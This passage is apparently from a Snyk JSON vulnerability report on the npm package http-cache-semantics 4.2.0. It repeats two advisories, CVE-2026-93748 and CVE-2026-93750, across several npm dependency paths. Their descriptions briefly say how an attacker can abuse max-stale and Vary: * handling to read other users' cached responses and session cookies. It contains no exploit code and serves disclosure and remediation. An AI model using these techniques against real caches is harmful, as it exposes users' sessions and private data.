"isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmfund@8.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpack@10.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmpack@10.0.4", "@npmcli/arborist@10.0.4", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmdiff@9.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmdiff@9.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@12.0.0", "libnpmexec@11.0.4", "@npmcli/arborist@10.0.4", "@npmcli/metavuln-calculator@10.0.0", "pacote@22.0.0", "sigstore@5.0.0", "@sigstore/tuf@5.0.0", "tuf-js@6.0.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable 